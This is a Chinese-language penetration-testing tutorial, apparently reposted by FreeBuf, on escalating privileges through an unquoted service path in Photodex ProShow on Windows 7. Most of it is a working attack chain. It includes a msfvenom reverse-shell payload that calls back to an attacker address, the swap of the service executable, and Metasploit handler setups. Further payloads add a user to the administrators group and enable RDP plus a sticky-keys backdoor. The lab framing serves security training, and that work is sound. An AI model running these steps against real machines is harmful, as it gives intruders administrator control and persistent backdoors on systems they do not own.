當前位置:
首頁 > 新聞 > Windows平台下實現提權的新姿勢

Windows平台下實現提權的新姿勢

在這篇文章中,我們將給大家演示如何通過無引號服務路徑來實現在Windows平台下的提權。在滲透測試的過程中,當我們以本地用戶身份生成命令Shell時,我們是無法檢查受限文件或目錄的,因此我們才需要拿到管理員訪問權。



無引號服務路徑漏洞

這個漏洞跟可執行文件的路徑有關,如果文件名中存在空格,或者文件路徑沒有包裹在雙引號之中,那攻擊者就可以用惡意exe文件替換掉原本合法的exe文件,並實現提權。


環境搭建


目標主機:Windows 7


攻擊主機:Kali Linux


首先,我們需要在目標Windows系統中下載並安裝一個名叫photodex proshow的包含漏洞的應用程序,下載鏡像可以在Exploit DB上找到。



生成目標主機


為了拿到meterpreter會話,我們至少要成功入侵目標Windows設備一次,你可以從下圖中看到,我們已經拿到了目標主機的meterpreter會話了。現在,打開命令Shell:


shell


你可以看到,我們拿到的shell訪問權是本地用戶local_user,為了拿到cmd的管理員許可權,我們就需要提權。首先,我們可以枚舉出目標主機上正在運行的所有服務,並找出那些沒有被雙引號包裹的服務路徑,這一步可以用下列命令實現:

wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:windows" |findstr /i /v """

這裡,我們枚舉出了下列路徑:

C:ProgramFilesPhotodexProShow ProducerScsiaccess.exe

這個路徑沒有被雙引號包裹,而且文件名中也存在空格。



現在,我們需要使用下列命令識別文件目錄許可權:

icacls Scsiaccess.exe

你可以看到,它給任何人都提供了寫入許可權,這也就意味著任何用戶都可以重寫該文件:



通過進程遷移實現提權


現在,我們只需要把惡意exe放在同一文件夾內,它就自動擁有管理員許可權了,當服務重啟之後,Windows將啟動這個惡意exe。


在Kali Linux中打開終端,然後通過下列命令使用msfvenom生成惡意exe Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe

上面的命令將在桌面生成一個惡意exe文件,然後將該文件發送給目標主機。Payload會嘗試遷移惡意進程,如果用戶通過進程ID終止了當前進程的運行,攻擊者也不會丟失會話和Payload的控制權。



現在,用惡意exe替換掉合法的可執行文件,這裡我把合法Scsiaccess.exe重命名為了Scsiaccess.exe.orginal,並將惡意Scsiaccess.exe上傳到了同一文件夾內,然後重啟目標主機:

movescsiaccess.exe scsiaccess.exe.orginalupload/root/Desktop/ scsiaccess.exe

reboot:



與此同時,我在新的終端里開啟了多個handler監聽器來捕捉meterpreter會話:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit

一段時間之後,我們就能夠拿到擁有管理員許可權的shell了:



通過添加管理員組用戶來實現提權

使用local_user許可權生成了shell之後,我們就可以在沒有管理員許可權的情況下枚舉完整的用戶名列表了。這裡我們發現,用戶raaz不是管理員組的成員:

net usernet user raaz


同樣的,我們生成了一個exe文件,並用它來將用戶raaz添加到了管理員組中,我們生成的惡意exe文件名還是叫Scsiaccess.exe:

msfvenom -p windows/exec CMD="net localgroup administrators raaz /add" -f exe >/root/Desktop/scsiaccess.exe


重複上述步驟,用惡意exe文件替換掉同一目錄下的合法exe,然後重啟目標主機:



仔細看下面的截圖,你就會發現用戶raaz已經成為了管理員組成員了:



通過RDP&Sticky_key實現提權


使用msfvenom生成一個相同文件名(Scsiaccess.exe)的exe文件,然後將其發送至目標主機,同時利用自動運行腳本開啟多個監聽器,這樣將會啟用RDP服務:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit


類似的,當目標服務重啟之後,我們可以設置自動運行腳本來啟用sticky_keys:

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run

你可以從下圖中看到,命令開啟了另一個meterpreter會話(session 3),這個會話擁有管理員許可權,現在我們就可以通過RDP與目標主機建立連接了:

rdp 192.168.1.101


接下來,連續按下5次shift鍵,你將會拿到擁有管理員許可權的命令行窗口:



沒錯,就是這麼簡單!


*參考來源:hackingarticles,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

2秒鐘!黑客就能開走你的特斯拉Model S
年度安全盛譽 | WitAwards 2018互聯網安全年度評選(報名通道開啟)

TAG:FreeBuf |